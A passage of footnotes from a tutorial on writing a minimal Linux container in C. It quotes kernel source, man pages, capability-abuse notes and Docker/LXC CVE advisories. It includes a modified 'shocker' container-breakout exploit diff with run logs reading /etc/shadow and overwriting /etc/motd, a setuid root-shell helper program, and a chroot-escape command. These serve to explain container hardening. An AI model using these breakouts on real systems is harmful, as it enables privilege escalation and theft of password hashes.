  • HTTP Strict Transport Security (HSTS) policy duration. HSTS allows website administrators to protect against downgrade attacks from HTTPS to HTTP by sending a header to browsers indicating that HTTPS must be used instead of HTTP. HSTS policies specify the duration of time that HTTPS must be used. If the browser’s clock jumps ahead, the policy may expire re-allowing downgrade attacks. A related mechanism, HTTP Public Key Pinning also relies on accurate client time for security.

For clients who set their clocks using NTP, these security mechanisms (and others) can be attacked by a network-level attacker who can intercept and modify NTP traffic, such as a malicious wireless access point or an insider at an ISP. In practice, most NTP servers do not authenticate themselves to clients, so a network attacker can intercept responses and set the timestamps arbitrarily. Even if the client sends requests to multiple servers, these may all be intercepted by an upstream network device and modified to present a consistently incorrect time to a victim. Such an attack on HSTS was demonstrated by Selvi , who provided a tool to advance the clock of victims in order to expire HSTS policies. Malhotra et al . present a variety of attacks that rely on NTP being unauthenticated, further emphasizing the need for authenticated time synchronization.

33

       CAP_WAKE_ALARM (since Linux 3.0)
	      Trigger something that will wake up the system (set
	      CLOCK_REALTIME_ALARM and CLOCK_BOOTTIME_ALARM timers).

I had trouble finding more information about these, but "Waking systems from suspend" on LWN goes into more detail:

these timers are exposed to user space via the standard POSIX clocks and timers interface, using the new the CLOCK_REALTIME_ALARM clockid. The new clockid behaves identically to CLOCK_REALTIME except that timers set against the _ALARM clockid will wake the system if it is suspended.

34

Brad Spengler's "False Boundaries and Arbitrary Code Execution" :

CAP_DAC_OVERRIDE: generic: same bypass as CAP_DAC_READ_SEARCH, can also modify a non-suid binary executed by root to execute code with full privileges (modifying a suid root binary for you to execute would require CAP_FSETID, as the setuid bit is cleared on modification otherwise; thanks to Eric Paris). The modprobe sysctl can be modified as mentioned above to execute code with full capabilities.

and of course Sebastian Krahmer's email :

In 0.11 the problem is that the apps that run in the container have CAP_DAC_READ_SEARCH and CAP_DAC_OVERRIDE which allows the containered app to access files not just by pathname (which would be impossible due to the bind mount of the rootfs) but also by handles via open_by_handle_at().

He might mean that the combination of both of them is problematic, though, which is absolutely true: with CAP_DAC_OVERRIDE and CAP_DAC_READ_SEARCH , it's possible to modify arbitrary files:

48a49,50
> char new_motd[] = "The tea from 2014 kicks your sekurity again\n";
> 
149d150
< 	char buf[0x1000];
161,163c162
< 	       "[***] forward to my friends who drink secury-tea too!      [***]\n\n<enter>\n");
< 
< 	read(0, buf, 1);
---
> 	       "[***] forward to my friends who drink secury-tea too!      [***]\n");
169c168
< 	if (find_handle(fd1, "/etc/shadow", &root_h, &h) <= 0)
---
> 	if (find_handle(fd1, "/etc/motd", &root_h, &h) <= 0)
175c174
< 	if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)
---
> 	if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_WRONLY)) < 0)
178,180c177,179
< 	memset(buf, 0, sizeof(buf));
< 	if (read(fd2, buf, sizeof(buf) - 1) < 0)
< 		die("[-] read");
---
> 	if (write(fd2, new_motd, sizeof(new_motd)) != sizeof(new_motd))
> 		die("[-] write");
> 
182c181
< 	fprintf(stderr, "[!] Win! /etc/shadow output follows:\n%s\n", buf);
---
> 	fprintf(stderr, "[!] Win! /etc/motd written.\n");

diff --git a/linux-containers-in-500-loc/contained.c b/linux-containers-in-500-loc/contained.c
index 501aff5..c0cabcc 100644
--- a/linux-containers-in-500-loc/contained.c
+++ b/linux-containers-in-500-loc/contained.c
@@ -33,7 +33,6 @@ int capabilities()
 		CAP_AUDIT_READ,
 		CAP_AUDIT_WRITE,
 		CAP_BLOCK_SUSPEND,
-		CAP_DAC_READ_SEARCH,
 		CAP_FSETID,
 		CAP_IPC_LOCK,
 		CAP_MAC_ADMIN,
[lizzie@empress l-c-i-500-l]$ sudo ./contained.allow_capdacreadsearch -m . -u 0 -c ./shocker_write
=> validating Linux version...4.8.4-1-ARCH on x86_64.
=> setting cgroups...memory...cpu...pids...blkio...done.
=> setting rlimit...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.axVxAE...done.
=> trying a user namespace...unsupported? continuing.
=> switching to uid 0 / gid 0...done.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.
[***] docker VMM-container breakout Po(C) 2014             [***]
[***] The tea from the 90's kicks your sekurity again.     [***]
[***] If you have pending sec consulting, I'll happily     [***]
[***] forward to my friends who drink secury-tea too!      [***]
[*] Resolving 'etc/motd'
[*] Found .
[*] Found ..
[*] Found lib64
[*] Found sys
[*] Found run
[*] Found sbin
[*] Found opt
[*] Found tmp
[*] Found lost+found
[*] Found dev
[*] Found mnt
[*] Found root
[*] Found lib
[*] Found boot
[*] Found home
[*] Found usr
[*] Found bin
[*] Found srv
[*] Found etc
[+] Match: etc ino=4325377
[*] Brute forcing remaining 32bit. This can take a while...
[*] (etc) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0x01, 0x00, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00};
[*] Resolving 'motd'
[*] Found binfmt.d
[*] Found ts.conf
[*] Found nscd.conf
[*] Found dhcpcd.duid
[*] Found sensors3.conf
[*] Found libao.conf
[*] Found .
[*] Found motd
[+] Match: motd ino=4325389
[*] Brute forcing remaining 32bit. This can take a while...
[*] (motd) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0x0d, 0x00, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00};
[!] Got a final handle!
[*] #=8, 1, char nh[] = {0x0d, 0x00, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00};
[!] Win! /etc/motd written.
=> cleaning cgroups...done.

35

diff --git a/linux-containers-in-500-loc/contained.c b/linux-containers-in-500-loc/contained.c
index 501aff5..c0cabcc 100644
--- a/linux-containers-in-500-loc/contained.c
+++ b/linux-containers-in-500-loc/contained.c
@@ -33,7 +33,6 @@ int capabilities()
 		CAP_AUDIT_READ,
 		CAP_AUDIT_WRITE,
 		CAP_BLOCK_SUSPEND,
-		CAP_DAC_READ_SEARCH,
 		CAP_FSETID,
 		CAP_IPC_LOCK,
 		CAP_MAC_ADMIN,

diff --git a/linux-containers-in-500-loc/contained.c b/linux-containers-in-500-loc/contained.c
index 501aff5..c0cabcc 100644
--- a/linux-containers-in-500-loc/contained.c
+++ b/linux-containers-in-500-loc/contained.c
@@ -33,7 +33,6 @@ int capabilities()
 		CAP_AUDIT_READ,
 		CAP_AUDIT_WRITE,
 		CAP_BLOCK_SUSPEND,
-		CAP_DAC_READ_SEARCH,
 		CAP_FSETID,
 		CAP_IPC_LOCK,
 		CAP_MAC_ADMIN,
[lizzie@empress l-c-i-500-l]$sudo ./contained -m . -u 0 -c ./shocker
=> validating Linux version...4.8.4-1-ARCH on x86_64.
=> setting cgroups...memory...cpu...pids...blkio...done.
=> setting rlimit...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.bWoGr4...done.
=> trying a user namespace...unsupported? continuing.
=> switching to uid 0 / gid 0...done.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.
[***] docker VMM-container breakout Po(C) 2014             [***]
[***] The tea from the 90's kicks your sekurity again.     [***]
[***] If you have pending sec consulting, I'll happily     [***]
[***] forward to my friends who drink secury-tea too!      [***]

<enter>

[*] Resolving 'etc/shadow'
[-] open_by_handle_at: Operation not permitted
=> cleaning cgroups...done.
[lizzie@empress l-c-i-500-l]$ sudo ./contained.allow_capdacreadsearch -m . -u 0 -c ./shocker
=> validating Linux version...4.8.4-1-ARCH on x86_64.
=> setting cgroups...memory...cpu...pids...blkio...done.
=> setting rlimit...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.Jto0pj...done.
=> trying a user namespace...unsupported? continuing.
=> switching to uid 0 / gid 0...done.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.
[***] docker VMM-container breakout Po(C) 2014             [***]
[***] The tea from the 90's kicks your sekurity again.     [***]
[***] If you have pending sec consulting, I'll happily     [***]
[***] forward to my friends who drink secury-tea too!      [***]

<enter>

[*] Resolving 'etc/shadow'
[*] Found .
[*] Found ..
[*] Found lib64
[*] Found sys
[*] Found run
[*] Found sbin
[*] Found opt
[*] Found tmp
[*] Found lost+found
[*] Found dev
[*] Found mnt
[*] Found root
[*] Found lib
[*] Found boot
[*] Found home
[*] Found usr
[*] Found bin
[*] Found srv
[*] Found etc
[+] Match: etc ino=4325377
[*] Brute forcing remaining 32bit. This can take a while...
[*] (etc) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0x01, 0x00, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00};
[*] Resolving 'shadow'
[*] Found binfmt.d
[*] Found ts.conf
[*] Found nscd.conf
[*] Found dhcpcd.duid
[*] Found sensors3.conf
[*] Found libao.conf
[*] Found .
[*] Found motd
[*] Found gdb
[*] Found ..
[*] Found qemu
[*] Found lirc
[*] Found healthd.conf
[*] Found subuid
[*] Found locale.gen.pacnew
[*] Found gtk-3.0
[*] Found idn.conf
[*] Found wgetrc
[*] Found mime.types
[*] Found texmf
[*] Found request-key.conf
[*] Found xinetd.d
[*] Found ssl
[*] Found ifplugd
[*] Found mpd.conf
[*] Found gimp
[*] Found logrotate.d
[*] Found dhcpcd.conf
[*] Found trusted-key.key
[*] Found resolv.conf
[*] Found gemrc
[*] Found libpaper.d
[*] Found hostname
[*] Found kernel
[*] Found audit
[*] Found request-key.d
[*] Found subgid
[*] Found services
[*] Found protocols
[*] Found profile.d
[*] Found Muttrc.dist
[*] Found audisp
[*] Found default
[*] Found resolv.conf.bak
[*] Found ufw
[*] Found man_db.conf
[*] Found gconf
[*] Found geoclue
[*] Found netconfig
[*] Found nanorc
[*] Found environment
[*] Found crypttab
[*] Found brltty.conf
[*] Found logrotate.conf
[*] Found goaccess.conf
[*] Found nsswitch.conf
[*] Found shadow
[+] Match: shadow ino=4334485
[*] Brute forcing remaining 32bit. This can take a while...
[*] (shadow) Trying: 0x00000000
[*] #=8, 1, char nh[] = {0x95, 0x23, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00};
[!] Got a final handle!
[*] #=8, 1, char nh[] = {0x95, 0x23, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00};
[!] Win! /etc/shadow output follows:
[redacted]
=> cleaning cgroups...done.

36

int generic_permission(struct inode *inode, int mask)
{
	int ret;

	/*
	 * Do the basic permission checks.
	 */
	ret = acl_permission_check(inode, mask);
	if (ret != -EACCES)
		return ret;

	if (S_ISDIR(inode->i_mode)) {
		/* DACs are overridable for directories */
		if (capable_wrt_inode_uidgid(inode, CAP_DAC_OVERRIDE))
			return 0;
		if (!(mask & MAY_WRITE))
			if (capable_wrt_inode_uidgid(inode,
						     CAP_DAC_READ_SEARCH))
				return 0;
		return -EACCES;
	}
	/*
	 * Read/write DACs are always overridable.
	 * Executable DACs are overridable when there is
	 * at least one exec bit set.
	 */
	if (!(mask & MAY_EXEC) || (inode->i_mode & S_IXUGO))
		if (capable_wrt_inode_uidgid(inode, CAP_DAC_OVERRIDE))
			return 0;

	/*
	 * Searching includes executable on directories, else just read.
	 */
	mask &= MAY_READ | MAY_WRITE | MAY_EXEC;
	if (mask == MAY_READ)
		if (capable_wrt_inode_uidgid(inode, CAP_DAC_READ_SEARCH))
			return 0;

	return -EACCES;
}

38

CAP_IPC_OWNER is only used in ipcperms :

/**
 * ipcperms - check ipc permissions
 * @ns: ipc namespace
 * @ipcp: ipc permission set
 * @flag: desired permission set
 *
 * Check user, group, other permissions for access
 * to ipc resources. return 0 if allowed
 *
 * @flag will most probably be 0 or S_...UGO from <linux/stat.h>
 */
int ipcperms(struct ipc_namespace *ns, struct kern_ipc_perm *ipcp, short flag)
{
	kuid_t euid = current_euid();
	int requested_mode, granted_mode;

	audit_ipc_obj(ipcp);
	requested_mode = (flag >> 6) | (flag >> 3) | flag;
	granted_mode = ipcp->mode;
	if (uid_eq(euid, ipcp->cuid) ||
	    uid_eq(euid, ipcp->uid))
		granted_mode >>= 6;
	else if (in_group_p(ipcp->cgid) || in_group_p(ipcp->gid))
		granted_mode >>= 3;
	/* is there some bit set in requested_mode but not in granted_mode? */
	if ((requested_mode & ~granted_mode & 0007) &&
	    !ns_capable(ns->user_ns, CAP_IPC_OWNER))
		return -1;

	return security_ipc_permission(ipcp, flag);
}

It's used in the following places immediately after looking up the IPC object in the IPC namespace:

ipc_check_perms is another a thin layer over it that doesn't check the IPC namespace.

/**
 * ipc_check_perms - check security and permissions for an ipc object
 * @ns: ipc namespace
 * @ipcprgre: ipc permission set
 * @ops: the actual security routine to call
 * @params: its parameters
 *
 * This routine is called by sys_msgget(), sys_semget() and sys_shmget()
 * when the key is not IPC_PRIVATE and that key already exists in the
 * ds IDR.
 *
 * On success, the ipc id is returned.
 *
 * It is called with ipc_ids.rwsem and ipcp->lock held.
 */
static int ipc_check_perms(struct ipc_namespace *ns,
			   struct kern_ipc_perm *ipcp,
			   const struct ipc_ops *ops,
			   struct ipc_params *params)
{
	int err;

	if (ipcperms(ns, ipcp, params->flg))
		err = -EACCES;
	else {
		err = ops->associate(ipcp, params->flg);
		if (!err)
			err = ipcp->id;
	}

	return err;
}

which is called by ipcget_public .

/**
 * ipcget_public - get an ipc object or create a new one
 * @ns: ipc namespace
 * @ids: ipc identifier set
 * @ops: the actual creation routine to call
 * @params: its parameters
 *
 * This routine is called by sys_msgget, sys_semget() and sys_shmget()
 * when the key is not IPC_PRIVATE.
 * It adds a new entry if the key is not found and does some permission
 * / security checkings if the key is found.
 *
 * On success, the ipc id is returned.
 */
static int ipcget_public(struct ipc_namespace *ns, struct ipc_ids *ids,
		const struct ipc_ops *ops, struct ipc_params *params)
{
	struct kern_ipc_perm *ipcp;
	int flg = params->flg;
	int err;

	/*
	 * Take the lock as a writer since we are potentially going to add
	 * a new entry + read locks are not "upgradable"
	 */
	down_write(&ids->rwsem);
	ipcp = ipc_findkey(ids, params->key);
	if (ipcp == NULL) {
		/* key not used */
		if (!(flg & IPC_CREAT))
			err = -ENOENT;
		else
			err = ops->getnew(ns, params);
	} else {
		/* ipc object has been locked by ipc_findkey() */

		if (flg & IPC_CREAT && flg & IPC_EXCL)
			err = -EEXIST;
		else {
			err = 0;
			if (ops->more_checks)
				err = ops->more_checks(ipcp, params);
			if (!err)
				/*
				 * ipc_check_perms returns the IPC id on
				 * success
				 */
				err = ipc_check_perms(ns, ipcp, ops, params);
		}
		ipc_unlock(ipcp);
	}
	up_write(&ids->rwsem);

	return err;
}

ipcget_public handles both creation and accessing for non- IPC_PRIVATE requests. It doesn't check IPC namespace for existing IPC objects. It's called by ipc_get if IPC_PRIVATE is not set:

/**
 * ipcget - Common sys_*get() code
 * @ns: namespace
 * @ids: ipc identifier set
 * @ops: operations to be called on ipc object creation, permission checks
 *       and further checks
 * @params: the parameters needed by the previous operations.
 *
 * Common routine called by sys_msgget(), sys_semget() and sys_shmget().
 */
int ipcget(struct ipc_namespace *ns, struct ipc_ids *ids,
			const struct ipc_ops *ops, struct ipc_params *params)
{
	if (params->key == IPC_PRIVATE)
		return ipcget_new(ns, ids, ops, params);
	else
		return ipcget_public(ns, ids, ops, params);
}

whcih in turn is called in the following places:

But shmget , semget , and msgget are all part of the System V IPC set, and in order to use them you need to call shmat , semop / semtimedop , and msgsend / msgrcv~ , all only work for objects in the namespace:

shmat immediately calls do_shmat , which is listed above;

SYSCALL_DEFINE3(shmat, int, shmid, char __user *, shmaddr, int, shmflg)
{
	unsigned long ret;
	long err;

	err = do_shmat(shmid, shmaddr, shmflg, &ret, SHMLBA);
	if (err)
		return err;
	force_successful_syscall_return();
	return (long)ret;
}

semop calls semtimedop :

SYSCALL_DEFINE3(semop, int, semid, struct sembuf __user *, tsops,
		unsigned, nsops)
{
	return sys_semtimedop(semid, tsops, nsops, NULL);
}

SYSCALL_DEFINE4(semtimedop, int, semid, struct sembuf __user *, tsops,
		unsigned, nsops, const struct timespec __user *, timeout)
{
	/* ... */
	ns = current->nsproxy->ipc_ns;

	/* ...
	   allocate some space for things.
	   ...
	*/

	sma = sem_obtain_object_check(ns, semid);

	/* ... */
}

msgsnd and msgrcv immediately call do_msgsnd and do_msgrcv , which are also listed above:

SYSCALL_DEFINE4(msgsnd, int, msqid, struct msgbuf __user *, msgp, size_t, msgsz,
		int, msgflg)
{
	long mtype;

	if (get_user(mtype, &msgp->mtype))
		return -EFAULT;
	return do_msgsnd(msqid, mtype, msgp->mtext, msgsz, msgflg);
}

SYSCALL_DEFINE5(msgrcv, int, msqid, struct msgbuf __user *, msgp, size_t, msgsz,
		long, msgtyp, int, msgflg)
{
	return do_msgrcv(msqid, msgp, msgsz, msgtyp, msgflg, do_msg_fill);
}

39

We can see that they're effectively namespaced:

/* Local Variables: */
/* compile-command: "gcc -Wall -Werror -static enumerate_net_devs.c \*/
/*                   -o enumerate_net_devs" */
/* End: */
#include <stdio.h>
#include <net/if.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>

int main (int argc, char **argv)
{
	int sock = socket(PF_LOCAL, SOCK_SEQPACKET, 0);
	for (size_t i = 0; i < 100; i++) {
		struct ifreq req = { .ifr_ifindex = i };
		if (!ioctl(sock, SIOCGIFNAME, &req))
			printf("%3lu: %s\n", i, req.ifr_name);
	}
	return 0;
}
[lizzie@empress l-c-i-500-l]$sudo ./contained -m . -u 0 -c ./enumerate_net_devs
=> validating Linux version...4.7.10.201610222037-1-grsec on x86_64.
=> setting cgroups...memory...cpu...pids...blkio...done.
=> setting rlimit...done.
=> remounting everything with MS_PRIVATE...remounted.
=> making a temp directory and a bind mount there...done.
=> pivoting root...done.
=> unmounting /oldroot.7npCN7...done.
=> trying a user namespace...writing /proc/1750/uid_map...writing
/proc/1750/gid_map...done.
=> switching to uid 0 / gid 0...done.
=> dropping capabilities...bounding...inheritable...done.
=> filtering syscalls...done.  1: lo
=> cleaning cgroups...done.

40

Network device datastructures are created inside of the kernel, not in userspace with mknod .

For example, ip link add dummy0 type dummy does this:

  • Opens a NETLINK_ROUTE netlink socket.
  • Sends a RTM_NEWLINK message over it.
  • Code in net/core/rtnetlink.c@c8d2bc dispatches the message to rtnl_create_link , which does this;

    struct net_device *rtnl_create_link(struct net *net,
    	const char *ifname, unsigned char name_assign_type,
    	const struct rtnl_link_ops *ops, struct nlattr *tb[])
    {
    	int err;
    	struct net_device *dev;
    	unsigned int num_tx_queues = 1;
    	unsigned int num_rx_queues = 1;
    
    	/* ... */
    
    	err = -ENOMEM;
    	dev = alloc_netdev_mqs(ops->priv_size, ifname, name_assign_type,
    			       ops->setup, num_tx_queues, num_rx_queues);
    	if (!dev)
    		goto err;
    
    	/* ... */
    }
    
  • alloc_netdev_mqs calls the setup function:

    /**
     *	alloc_netdev_mqs - allocate network device
     *	@sizeof_priv:		size of private data to allocate space for
     *	@name:			device name format string
     *	@name_assign_type:	origin of device name
     *	@setup:			callback to initialize device
     *	@txqs:			the number of TX subqueues to allocate
     *	@rxqs:			the number of RX subqueues to allocate
     *
     *	Allocates a struct net_device with private data area for driver use
     *	and performs basic initialization.  Also allocates subqueue structs
     *	for each queue on the device.
     */
    struct net_device *alloc_netdev_mqs(int sizeof_priv, const char *name,
    		unsigned char name_assign_type,
    		void (*setup)(struct net_device *),
    		unsigned int txqs, unsigned int rxqs)
    {
    	struct net_device *dev;
    	size_t alloc_size;
    	struct net_device *p;
    
    	/* ... */
    
    	setup(dev);
    
    	/* ... */
    }
    
  • dummy_setup gets called, since it's the .setup of a rtnl_link_ops :

    static struct rtnl_link_ops dummy_link_ops __read_mostly = {
    	.kind		= DRV_NAME,
    	.setup		= dummy_setup,
    	.validate	= dummy_validate,
    };
    
    

    static void dummy_setup(struct net_device *dev)
    {
    	ether_setup(dev);
    
    	/* Initialize the device structure. */
    	dev->netdev_ops = &dummy_netdev_ops;
    	dev->ethtool_ops = &dummy_ethtool_ops;
    	dev->destructor = free_netdev;
    
    	/* Fill in device structure with ethernet-generic values. */
    	dev->flags |= IFF_NOARP;
    	dev->flags &= ~IFF_MULTICAST;
    	dev->priv_flags |= IFF_LIVE_ADDR_CHANGE | IFF_NO_QUEUE;
    	dev->features	|= NETIF_F_SG | NETIF_F_FRAGLIST;
    	dev->features	|= NETIF_F_ALL_TSO | NETIF_F_UFO;
    	dev->features	|= NETIF_F_HW_CSUM | NETIF_F_HIGHDMA | NETIF_F_LLTX;
    	dev->features	|= NETIF_F_GSO_ENCAP_ALL;
    	dev->hw_features |= dev->features;
    	dev->hw_enc_features |= dev->features;
    	eth_hw_addr_random(dev);
    }
    
    

In other words, there's no equivalent of userspace major / minor device numbers for network devices.

41

SYSCALL_DEFINE4(ptrace, long, request, long, pid, unsigned long, addr,
		unsigned long, data)
{
	struct task_struct *child;
	long ret;

	if (request == PTRACE_TRACEME) {
		ret = ptrace_traceme();
		if (!ret)
			arch_ptrace_attach(current);
		goto out;
	}

	child = ptrace_get_task_struct(pid);
	if (IS_ERR(child)) {
		ret = PTR_ERR(child);
		goto out;
	}
	[...]
}

which calls ptrace_get_task_struct :

static struct task_struct *ptrace_get_task_struct(pid_t pid)
{
	struct task_struct *child;

	rcu_read_lock();
	child = find_task_by_vpid(pid);
	if (child)
		get_task_struct(child);
	rcu_read_unlock();

	if (!child)
		return ERR_PTR(-ESRCH);
	return child;
}

…which in turn calls find_task_by_vpid

struct task_struct *find_task_by_vpid(pid_t vnr)
{
	return find_task_by_pid_ns(vnr, task_active_pid_ns(current));
}

which calls find_task_by_pid_ns :

struct task_struct *find_task_by_pid_ns(pid_t nr, struct pid_namespace *ns)
{
	RCU_LOCKDEP_WARN(!rcu_read_lock_held(),
			 "find_task_by_pid_ns() needs rcu_read_lock() protection");
	return pid_task(find_pid_ns(nr, ns), PIDTYPE_PID);
}

which, finally, calls find_pid_ns . You can see here that it only finds a stuct pid * that shares the pid namespace of the current task.

struct pid *find_pid_ns(int nr, struct pid_namespace *ns)
{
	struct upid *pnr;

	hlist_for_each_entry_rcu(pnr,
			&pid_hash[pid_hashfn(nr, ns)], pid_chain)
		if (pnr->nr == nr && pnr->ns == ns)
			return container_of(pnr, struct pid,
					numbers[ns->level]);

	return NULL;
}

42

The kill syscalls call kill_something_info , which follows a dense call chain ( kill_pid_info -> group_send_sig_info -> do_send_sig_info -> send_sig_info -> send_signal -> __send_signal ) to eventually end up in __send_signal , which does respect user namespaces:

static int __send_signal(int sig, struct siginfo *info, struct task_struct *t,
			int group, int from_ancestor_ns)
{
	/* ... */
	q = __sigqueue_alloc(sig, t, GFP_ATOMIC | __GFP_NOTRACK_FALSE_POSITIVE,
		override_rlimit);
	if (q) {
		list_add_tail(&q->list, &pending->list);
		switch ((unsigned long) info) {
		case (unsigned long) SEND_SIG_NOINFO:
			q->info.si_signo = sig;
			q->info.si_errno = 0;
			q->info.si_code = SI_USER;
			q->info.si_pid = task_tgid_nr_ns(current,
							task_active_pid_ns(t));
			q->info.si_uid = from_kuid_munged(current_user_ns(), current_uid());
			break;
		case (unsigned long) SEND_SIG_PRIV:
			q->info.si_signo = sig;
			q->info.si_errno = 0;
			q->info.si_code = SI_KERNEL;
			q->info.si_pid = 0;
			q->info.si_uid = 0;
			break;
		default:
			copy_siginfo(&q->info, info);
			if (from_ancestor_ns)
				q->info.si_pid = 0;
			break;
		}

		userns_fixup_signal_uid(&q->info, t);
	}
	/*...*/
}

43

Quoted man 7 capabilities , again:

	CAP_SETGID
		Make  arbitrary  manipulations   of  process  GIDs  and
		supplementary GID  list; forge GID when  passing socket
		credentials via  UNIX domain sockets; write  a group ID
		mapping in a user namespace (see user_namespaces(7)).
	CAP_SETUID
		Make   arbitrary   manipulations    of   process   UIDs
		(setuid(2),  setreuid(2),  setresuid(2),  setfsuid(2));
		forge  UID when  passing  socket  credentials via  UNIX
		domain  sockets; write  a  user ID  mapping  in a  user
		namespace (see user_namespaces(7)).

44

Brad Spengler's "False Boundaries and Arbitrary Code Execution" , again

CAP_SYS_CHROOT: generic: From Julien Tinnes/Chris Evans: if you have write access to the same filesystem as a suid root binary, set up a chroot environment with a backdoored libc and then execute a hardlinked suid root binary within your chroot and gain full root privileges through your backdoor

45

man 2 chroot :

This call does not change the current working directory, so that after the call '.' can be outside the tree rooted at '/'. In particular, the superuser can escape from a "chroot jail" by doing:

mkdir foo; chroot foo; cd ..

46

There have been issues with unpacking containers in Docker and LXC:

=====================================================
[CVE-2014-6407] Archive extraction allowing host privilege escalation
=====================================================
Severity: Critical
Affects: Docker up to 1.3.1

The Docker engine, up to and including version 1.3.1, was vulnerable to
extracting files to arbitrary paths on the host during ‘docker pull’ and
‘docker load’ operations. This was caused by symlink and hardlink
traversals present in Docker's image extraction. This vulnerability could
be leveraged to perform remote code execution and privilege escalation.

====================================================================

[CVE-2015-3629] Symlink traversal on container respawn allows local
privilege escalation

====================================================================

Libcontainer version 1.6.0 introduced changes which facilitated a mount
namespace breakout upon respawn of a container. This allowed malicious
images to write files to the host system and escape containerization.

* Roman Fiedler discovered a directory traversal flaw that allows
  arbitrary file creation as the root user. A local attacker must set up
  a symlink at /run/lock/lxc/var/lib/lxc/<CONTAINER>, prior to an admin
  ever creating an LXC container on the system. If an admin then creates
  a container with a name matching <CONTAINER>, the symlink will be
  followed and LXC will create an empty file at the symlink's target as
  the root user.
  - CVE-2015-1331
  - Affects LXC 1.0.0 and higher
  - https://launchpad.net/bugs/1470842
  - https://github.com/lxc/lxc/commit/72cf81f6a3404e35028567db2c99a90406e9c6e6 (master)
  - https://github.com/lxc/lxc/commit/61ecf69d7834921cc078e14d1b36c459ad8f91c7 (stable-1.1)
  - https://github.com/lxc/lxc/commit/f547349ea7ef3a6eae6965a95cb5986cd921bd99 (stable-1.0)

* Roman Fiedler discovered a flaw that allows processes intended to be
  run inside of confined LXC containers to escape their AppArmor or
  SELinux confinement. A malicious container can create a fake proc
  filesystem, possibly by mounting tmpfs on top of the container's
  /proc, and wait for a lxc-attach to be ran from the host environment.
  lxc-attach incorrectly trusts the container's
  /proc/PID/attr/{current,exec} files to set up the AppArmor profile and
  SELinux domain transitions which may result in no confinement being
  used.
  - CVE-2015-1334
  - Affects LXC 0.9.0 and higher
  - https://launchpad.net/bugs/1475050
  - https://github.com/lxc/lxc/commit/5c3fcae78b63ac9dd56e36075903921bd9461f9e (master)
  - https://github.com/lxc/lxc/commit/659e807c8dd1525a5c94bdecc47599079fad8407 (stable-1.1)
  - https://github.com/lxc/lxc/commit/15ec0fd9d490dd5c8a153401360233c6ee947c24 (stable-1.0)

Tyler

These are all really interesting! I want to write more about them.

47

The Docker seccomp policy doesn't include an explicit blacklist, which makes it a little hard to follow, so I wrote code to find it.

    #!/usr/bin/env python3

    import gzip
    import requests
    import re
    import sys

    url = "https://raw.githubusercontent.com/docker/docker/5ff21add06ce0e502b41a194077daad311901996/profiles/seccomp/default.json"

    conditional = set()
    allowed = set()
    disallowed = set()

    for entry in requests.get(url).json()["syscalls"]:
        if entry["args"]:
           conditional |= set(entry["names"])
        else:
            allowed |= set(entry["names"])

    manpage = "/usr/share/man/man2/syscalls.2.gz"

    with gzip.open(manpage, "r") as f:
        ready = False
        for _line in f:
            line = _line.decode("utf-8")
            # table end
            if ready and line == ".TE\n":
                break
            match = re.match(r"\\fB(.+?)\\fP(.+)", line)
            if match:
                if match.group(1) == "System call":
                    ready = True
                elif (match.group(1) not in allowed
                      and match.group(1) not in conditional):
                    disallowed.add(match.group(1))

    print("Conditionally allowed:")
    for c in sorted(conditional):
        sys.stdout.write("~%s~, " % c)
    print("\n\nDisallowed:")
    for d in sorted(disallowed):
        sys.stdout.write("~%s~, " % d)
    sys.stdout.write("\n")

Conditionally allowed: clone , personality ,

Disallowed: _sysctl , add_key , alloc_hugepages , bdflush , clock_adjtime , clock_settime , create_module , free_hugepages , get_kernel_syms , get_mempolicy , getpagesize , kern_features , kexec_file_load , kexec_load , keyctl , mbind , migrate_pages , move_pages , nfsservctl , nice , oldfstat , oldlstat , oldolduname , oldstat , olduname , pciconfig_iobase , pciconfig_read , pciconfig_write , perfctr , perfmonctl , pivot_root , ppc_rtas , preadv2 , pwritev2 , quotactl , readdir , request_key , set_mempolicy , setup , sgetmask , sigaction , signal , sigpending , sigprocmask , sigsuspend , spu_create , spu_run , ssetmask , subpage_prot , swapoff , swapon , sync_file_range2 , sysfs , uselib , userfaultfd , ustat , utrap_install , vm86 , vm86old

48

/* -*- compile-command: "gcc -Wall -Werror -static self_setuid.c -o self_setuid" -*- */
#define _GNU_SOURCE
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>

int main (int argc, char **argv)
{
	if (argc == 2 && !strcmp(argv[1], "shell")) {
		if (setresuid(0, 0, 0)) {
			fprintf(stderr, "++ setresuid(0, 0, 0) failed: %m\n");
			return 1;
		}
		return system("sh");
	} else {
		if (chown(argv[0], 0, 0)) {
			fprintf(stderr, "++ chown failed: %m\n");
			return 1;
		}
		int self_fd = 0;
		if (!(self_fd = open(argv[0], 0))) {
			fprintf(stderr, "++ fopen failed: %m\n");
			return 1;
		}
		if (chmod(argv[0], S_ISUID | S_IXOTH)
		    && fchmod(self_fd, S_ISUID | S_IXOTH)
		    && fchmodat(AT_FDCWD, argv[0], S_ISUID | S_IXOTH, 0)) {
			fprintf(stderr, "++ chmod  / fchmod / fchmodat failed: %m\n");
			close(self_fd);
			return 1;
		}
		close(self_fd);
		return 0;
	}
}

diff --git a/linux-containers-in-500-loc/contained.c b/linux-containers-in-500-loc/contained.c
index 501aff5..b471a69 100644
--- a/linux-containers-in-500-loc/contained.c
+++ b/linux-containers-in-500-loc/contained.c
@@ -151,18 +151,6 @@ int syscalls()
